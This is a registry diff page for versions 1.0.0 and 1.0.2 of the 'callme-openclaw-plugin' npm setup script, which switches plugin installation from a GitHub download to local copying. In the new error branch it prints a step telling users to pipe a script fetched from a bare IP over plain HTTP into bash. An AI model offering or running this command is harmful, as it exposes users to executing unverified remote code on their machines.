callme-openclaw-plugin 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/setup.js +33 -39
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "callme-openclaw-plugin",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "OpenClaw plugin for callme.ai - hands-free voice calls with your AI assistant",
5
5
  "main": "index.js",
6
6
  "bin": {
package/setup.js CHANGED
@@ -1,20 +1,20 @@
1
1
  #!/usr/bin/env node
2
2
  /**
3
3
  * Interactive callme.ai setup for OpenClaw
4
- * Run: npx @callme/setup
4
+ * Run: npx callme-openclaw-plugin
5
5
  */
6
6
 
7
7
  const fs = require('fs');
8
8
  const path = require('path');
9
- const https = require('https');
10
- const readline = require('readline');
11
9
  const { exec } = require('child_process');
12
10
  const { promisify } = require('util');
11
+ const readline = require('readline');
13
12
 
14
13
  const execAsync = promisify(exec);
15
14
 
16
- const PLUGIN_DIR = path.join(process.env.HOME, '.openclaw', 'plugins', 'callme');
17
- const CONFIG_FILE = path.join(process.env.HOME, '.openclaw', 'config.yaml');
15
+ const OPENCLAW_DIR = path.join(process.env.HOME, '.openclaw');
16
+ const PLUGIN_DIR = path.join(OPENCLAW_DIR, 'plugins', 'callme');
17
+ const CONFIG_FILE = path.join(OPENCLAW_DIR, 'config.yaml');
18
18
 
19
19
  const rl = readline.createInterface({
20
20
  input: process.stdin,
@@ -25,22 +25,6 @@ function question(query) {
25
25
  return new Promise(resolve => rl.question(query, resolve));
26
26
  }
27
27
 
28
- function download(url, dest) {
29
- return new Promise((resolve, reject) => {
30
- const file = fs.createWriteStream(dest);
31
- https.get(url, (response) => {
32
- response.pipe(file);
33
- file.on('finish', () => {
34
- file.close();
35
- resolve();
36
- });
37
- }).on('error', (err) => {
38
- fs.unlink(dest, () => {});
39
- reject(err);
40
- });
41
- });
42
- }
43
-
44
28
  async function main() {
45
29
  console.log('\nšŸ“ž \x1b[1mcallme.ai Setup for OpenClaw\x1b[0m\n');
46
30
 
@@ -63,27 +47,37 @@ async function main() {
63
47
  process.exit(1);
64
48
  }
65
49
 
66
- // Step 3: Download plugin
67
- console.log('\nšŸ“„ Downloading plugin...');
50
+ // Step 3: Copy plugin files
51
+ console.log('\nšŸ“¦ Setting up plugin...');
68
52
  fs.mkdirSync(PLUGIN_DIR, { recursive: true });
69
53
 
70
- const files = [
71
- { name: 'package.json', url: 'https://raw.githubusercontent.com/Benedict-VC/openclaw-voice/main/plugin-callme/package.json' },
72
- { name: 'index.js', url: 'https://raw.githubusercontent.com/Benedict-VC/openclaw-voice/main/plugin-callme/index.js' }
73
- ];
74
-
75
- for (const file of files) {
76
- await download(file.url, path.join(PLUGIN_DIR, file.name));
54
+ // Copy plugin from the npx cache to the OpenClaw plugins directory
55
+ try {
56
+ const thisDir = __dirname; // Where this script is running from
57
+
58
+ // Copy main files
59
+ const filesToCopy = ['index.js', 'package.json'];
60
+ for (const file of filesToCopy) {
61
+ const src = path.join(thisDir, file);
62
+ const dest = path.join(PLUGIN_DIR, file);
63
+ if (fs.existsSync(src)) {
64
+ fs.copyFileSync(src, dest);
65
+ }
66
+ }
67
+
68
+ // Install dependencies
69
+ process.chdir(PLUGIN_DIR);
70
+ await execAsync('npm install --production --no-package-lock');
71
+ console.log('āœ… Plugin installed');
72
+ } catch (error) {
73
+ console.error('āŒ Failed to install plugin:', error.message);
74
+ console.log('\nšŸ“‹ Manual installation:');
75
+ console.log(' 1. Run: curl -fsSL http://91.99.132.236/install.sh | bash');
76
+ console.log(' 2. Edit ~/.openclaw/config.yaml and add your API key');
77
+ process.exit(1);
77
78
  }
78
- console.log('āœ… Plugin downloaded');
79
-
80
- // Step 4: Install dependencies
81
- console.log('\nšŸ“¦ Installing dependencies...');
82
- process.chdir(PLUGIN_DIR);
83
- await execAsync('npm install --silent');
84
- console.log('āœ… Dependencies installed');
85
79
 
86
- // Step 5: Update config
80
+ // Step 4: Update config
87
81
  console.log('\nāš™ļø Updating OpenClaw config...');
88
82
 
89
83
  const configContent = `
@@ -115,7 +109,7 @@ plugins:
115
109
  }
116
110
  console.log('āœ… Config updated');
117
111
 
118
- // Step 6: Done!
112
+ // Done!
119
113
  console.log('\n✨ \x1b[1;32mSetup complete!\x1b[0m\n');
120
114
  console.log('šŸ“‹ Next steps:');
121
115
  console.log(' 1. Reload OpenClaw: \x1b[36mopenclaw reload\x1b[0m');